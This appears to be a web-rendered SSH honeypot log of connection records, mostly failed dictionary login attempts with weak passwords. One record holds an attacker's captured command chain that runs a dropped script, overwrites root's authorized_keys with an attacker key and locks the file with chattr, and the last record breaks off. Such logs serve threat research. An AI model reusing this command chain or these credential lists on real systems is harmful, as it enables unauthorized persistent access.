Adversarial Observation Interface

218.237.71.112

2026-05-13 00:28:45.081147 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: unknown

Record ID: 0199d9163bc8

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.3s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "0199d9163bc8",
  "src_ip": "218.237.71.112",
  "start_time": "2026-05-13T00:28:45.081147Z",
  "end_time": "2026-05-13T00:28:49.397962Z",
  "duration": "4.3",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "unknown",
      "pass": "unknown88"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.112

2026-05-13 00:25:53.368784 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: admin

Record ID: e044808a1f83

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "e044808a1f83",
  "src_ip": "2.57.121.112",
  "start_time": "2026-05-13T00:25:53.368784Z",
  "end_time": "2026-05-13T00:26:00.144658Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "admin",
      "pass": "juillet"
    },
    {
      "user": "admin",
      "pass": "juicey"
    },
    {
      "user": "admin",
      "pass": "juehtw"
    },
    {
      "user": "admin",
      "pass": "joy123"
    },
    {
      "user": "admin",
      "pass": "joojoo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

63.229.76.169

2026-05-13 00:25:27.207356 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: aa7e5303a43e

Client Version: Unknown

Engagement Duration: 4.3s

{
  "id": "aa7e5303a43e",
  "src_ip": "63.229.76.169",
  "start_time": "2026-05-13T00:25:27.207356Z",
  "end_time": "2026-05-13T00:25:31.530280Z",
  "duration": "4.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-05-13 00:25:04.483291 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user

Record ID: 017b5badfbc6

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "017b5badfbc6",
  "src_ip": "2.57.121.25",
  "start_time": "2026-05-13T00:25:04.483291Z",
  "end_time": "2026-05-13T00:25:11.248128Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "user",
      "pass": "yahweh"
    },
    {
      "user": "user",
      "pass": "wrong"
    },
    {
      "user": "user",
      "pass": "worldcup"
    },
    {
      "user": "user",
      "pass": "woodson"
    },
    {
      "user": "user",
      "pass": "winchest"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.10.203.54

2026-05-13 00:12:31.757070 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root12345

Record ID: 5c165240a8b7

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 8.0s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "5c165240a8b7",
  "src_ip": "176.10.203.54",
  "start_time": "2026-05-13T00:12:31.757070Z",
  "end_time": "2026-05-13T00:12:39.773763Z",
  "duration": "8.0",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root12345"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

172.236.228.111

2026-05-13 00:12:30.773417 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 28388f0e7c13

Client Version: {wN8,k+\xe6\xe0\xfd#\xd0҈/NBQX \xcb\xc8gS\x9c@\xbb\xba\xfaLEu\xc0/\xc0+\xc0\xc0\xc0\xc0 \xc0\xc0

Engagement Duration: 0.0s

{
  "id": "28388f0e7c13",
  "src_ip": "172.236.228.111",
  "start_time": "2026-05-13T00:12:30.773417Z",
  "end_time": "2026-05-13T00:12:30.778758Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003N\u00118,k+\\xe6\\xe0\\xfd#\\xd0\u0488/NBQX\r\\xcb\\xc8gS\\x9c@\\xbb\\xba\\xfaL\u0007Eu\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

172.236.228.111

2026-05-13 00:12:30.737684 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3829aae8c4f1

Client Version: GET / HTTP/1.1

Engagement Duration: 0.0s

{
  "id": "3829aae8c4f1",
  "src_ip": "172.236.228.111",
  "start_time": "2026-05-13T00:12:30.737684Z",
  "end_time": "2026-05-13T00:12:30.743369Z",
  "duration": "0.0",
  "version": "GET / HTTP/1.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

178.178.222.60

2026-05-13 00:04:33.827091 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: supervisor

Record ID: e3b0a4959d06

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.2s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "e3b0a4959d06",
  "src_ip": "178.178.222.60",
  "start_time": "2026-05-13T00:04:33.827091Z",
  "end_time": "2026-05-13T00:04:37.047214Z",
  "duration": "3.2",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "supervisor",
      "pass": "supervisor000"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-13 00:01:04.322246 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: d1a7da8c03dc

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "d1a7da8c03dc",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-13T00:01:04.322246Z",
  "end_time": "2026-05-13T00:01:06.131552Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.148.10.121

2026-05-12 23:58:41.889642 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: AdminGPON

Record ID: 8c0292e0651d

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba

{
  "id": "8c0292e0651d",
  "src_ip": "45.148.10.121",
  "start_time": "2026-05-12T23:58:41.889642Z",
  "end_time": "2026-05-12T23:58:43.753111Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "bf7dbf67fa9b26ee9f9deb99c49320ba",
  "attempts": [
    {
      "user": "AdminGPON",
      "pass": "ALC#FGU"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

183.106.59.245

2026-05-12 23:58:39.022133 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: c5cc70b0e594

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.6s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "c5cc70b0e594",
  "src_ip": "183.106.59.245",
  "start_time": "2026-05-12T23:58:39.022133Z",
  "end_time": "2026-05-12T23:58:43.618819Z",
  "duration": "4.6",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "support",
      "pass": "support000"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

213.209.159.56

2026-05-12 23:52:47.189722 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: dayanara

Record ID: 6e7fa93cf3e5

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.6s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "6e7fa93cf3e5",
  "src_ip": "213.209.159.56",
  "start_time": "2026-05-12T23:52:47.189722Z",
  "end_time": "2026-05-12T23:52:53.803104Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "dayanara",
      "pass": "dayanara"
    },
    {
      "user": "dayanara",
      "pass": "dayanara1"
    },
    {
      "user": "dayanara",
      "pass": "dayanara123"
    },
    {
      "user": "dayanara",
      "pass": "dayanara1234"
    },
    {
      "user": "dayanara",
      "pass": "dayanara12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-12 23:51:55.422017 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 44bba0cc9581

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "44bba0cc9581",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-12T23:51:55.422017Z",
  "end_time": "2026-05-12T23:51:57.234300Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

203.252.10.3

2026-05-12 23:42:27.360191 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: unknown

Record ID: f6d86d80a061

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 5.4s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "f6d86d80a061",
  "src_ip": "203.252.10.3",
  "start_time": "2026-05-12T23:42:27.360191Z",
  "end_time": "2026-05-12T23:42:32.749252Z",
  "duration": "5.4",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "unknown",
      "pass": "222"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

72.195.114.171

2026-05-12 23:40:22.328415 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d77f181b1a46

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d77f181b1a46",
  "src_ip": "72.195.114.171",
  "start_time": "2026-05-12T23:40:22.328415Z",
  "end_time": "2026-05-12T23:42:22.337304Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

213.177.179.91

2026-05-12 23:38:17.010832 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 05824ab23efa

Client Version: SSH-2.0-Go

Engagement Duration: 10.1s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "05824ab23efa",
  "src_ip": "213.177.179.91",
  "start_time": "2026-05-12T23:38:17.010832Z",
  "end_time": "2026-05-12T23:38:27.066021Z",
  "duration": "10.1",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

107.181.168.150

2026-05-12 23:37:22.195371 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8c4c8c5aad67

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "8c4c8c5aad67",
  "src_ip": "107.181.168.150",
  "start_time": "2026-05-12T23:37:22.195371Z",
  "end_time": "2026-05-12T23:39:22.255817Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

65.181.79.60

2026-05-12 23:29:39.845225 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: ad00cb37e620

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.6s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "ad00cb37e620",
  "src_ip": "65.181.79.60",
  "start_time": "2026-05-12T23:29:39.845225Z",
  "end_time": "2026-05-12T23:29:44.446218Z",
  "duration": "4.6",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "support",
      "pass": "Support2018"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

218.4.120.211

2026-05-12 23:29:29.812185 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0c20741f3dc9

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "0c20741f3dc9",
  "src_ip": "218.4.120.211",
  "start_time": "2026-05-12T23:29:29.812185Z",
  "end_time": "2026-05-12T23:31:29.817401Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

218.4.120.211

2026-05-12 23:29:29.426521 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4b227584f43d

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "4b227584f43d",
  "src_ip": "218.4.120.211",
  "start_time": "2026-05-12T23:29:29.426521Z",
  "end_time": "2026-05-12T23:29:29.620940Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

213.209.159.158

2026-05-12 23:26:28.622758 UTC

COMMANDS RUN RECONNAISSANCE DATA THEFT SUCCESSFUL LOGIN SCORE: 150

Credential acceptance event recorded. Target authentication: root / sandy

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a

Record ID: 573aa0ca84b3

Client Version: SSH-2.0-Go

Engagement Duration: 32.9s

HASSH Fingerprint: 5f904648ee8964bef0e8834012e26003

{
  "id": "573aa0ca84b3",
  "src_ip": "213.209.159.158",
  "start_time": "2026-05-12T23:26:28.622758Z",
  "end_time": "2026-05-12T23:27:01.505408Z",
  "duration": "32.9",
  "version": "SSH-2.0-Go",
  "hassh": "5f904648ee8964bef0e8834012e26003",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sandy"
  },
  "commands": [
    "chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a"
  ],
  "detailed_commands": [
    {
      "cmd": "chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 150,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "DATA THEFT",
    "SUCCESSFUL LOGIN"
  ]
}

213.209.159.158

2026-05-12 23:26:10.639739 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / sandy

Record ID: 834a29ba980e

Client Version: SSH-2.0-Go

Engagement Duration: 17.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "834a29ba980e",
  "src_ip": "213.209.159.158",
  "start_time": "2026-05-12T23:26:10.639739Z",
  "end_time": "2026-05-12T23:26:28.475481Z",
  "duration": "17.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sandy"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.148.10.121

2026-05-12 23:19:56.388038 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin

Record ID: ebb405fcb958

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba

{
  "id": "ebb405fcb958",
  "src_ip": "45.148.10.121",
  "start_time": "2026-05-12T23:19:56.388038Z",
  "end_time": "2026-05-12T23:19:58.134537Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "bf7dbf67fa9b26ee9f9deb99c49320ba",
  "attempts": [
    {
      "user": "admin",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

200.222.71.218

2026-05-12 23:13:25.503972 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / qwer@1234

Record ID: 2696f7b3a089

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 9.0s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "2696f7b3a089",
  "src_ip": "200.222.71.218",
  "start_time": "2026-05-12T23:13:25.503972Z",
  "end_time": "2026-05-12T23:13:34.460284Z",
  "duration": "9.0",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwer@1234"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-05-12 23:11:43.796632 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: admin

Record ID: e429e462538c

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "e429e462538c",
  "src_ip": "2.57.121.112",
  "start_time": "2026-05-12T23:11:43.796632Z",
  "end_time": "2026-05-12T23:11:50.567043Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "admin",
      "pass": "kalani"
    },
    {
      "user": "admin",
      "pass": "kaffee"
    },
    {
      "user": "admin",
      "pass": "k9dls02a"
    },
    {
      "user": "admin",
      "pass": "junkjunk"
    },
    {
      "user": "admin",
      "pass": "junejune"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-12 23:11:05.122592 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 3898304d4b6c

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "3898304d4b6c",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-12T23:11:05.122592Z",
  "end_time": "2026-05-12T23:11:06.939429Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-05-12 23:10:48.685438 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user

Record ID: 8762c244d0a7

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "8762c244d0a7",
  "src_ip": "2.57.121.25",
  "start_time": "2026-05-12T23:10:48.685438Z",
  "end_time": "2026-05-12T23:10:55.451216Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "user",
      "pass": "yogurt"
    },
    {
      "user": "user",
      "pass": "yfhenj"
    },
    {
      "user": "user",
      "pass": "yesterday"
    },
    {
      "user": "user",
      "pass": "ybrbnjc"
    },
    {
      "user": "user",
      "pass": "yankee1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

36.50.167.81

2026-05-12 23:05:31.056491 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 6457069ee755

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.9s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "6457069ee755",
  "src_ip": "36.50.167.81",
  "start_time": "2026-05-12T23:05:31.056491Z",
  "end_time": "2026-05-12T23:05:34.925955Z",
  "duration": "3.9",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "support",
      "pass": "support0"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

65.20.146.109

2026-05-12 23:00:25.621290 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: centos

Record ID: 21757f6a342d

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.5s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "21757f6a342d",
  "src_ip": "65.20.146.109",
  "start_time": "2026-05-12T23:00:25.621290Z",
  "end_time": "2026-05-12T23:00:29.087068Z",
  "duration": "3.5",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "centos",
      "pass": "centos4"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

192.168.0.1

2026-05-12 22:59:43.049240 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9269573c0b02

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "9269573c0b02",
  "src_ip": "192.168.0.1",
  "start_time": "2026-05-12T22:59:43.049240Z",
  "end_time": "2026-05-12T22:59:43.060170Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

198.235.24.76

2026-05-12 22:45:30.714781 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b0994b4c0eff

Client Version: SSH-2.0-ZGrab ZGrab SSH Survey

Engagement Duration: 3.0s

HASSH Fingerprint: dd9bcf093c355da7000132131cb36fd0

{
  "id": "b0994b4c0eff",
  "src_ip": "198.235.24.76",
  "start_time": "2026-05-12T22:45:30.714781Z",
  "end_time": "2026-05-12T22:45:33.694394Z",
  "duration": "3.0",
  "version": "SSH-2.0-ZGrab ZGrab SSH Survey",
  "hassh": "dd9bcf093c355da7000132131cb36fd0",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

69.112.28.181

2026-05-12 22:43:28.083003 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: guest

Record ID: a4dd910e8d42

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.0s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "a4dd910e8d42",
  "src_ip": "69.112.28.181",
  "start_time": "2026-05-12T22:43:28.083003Z",
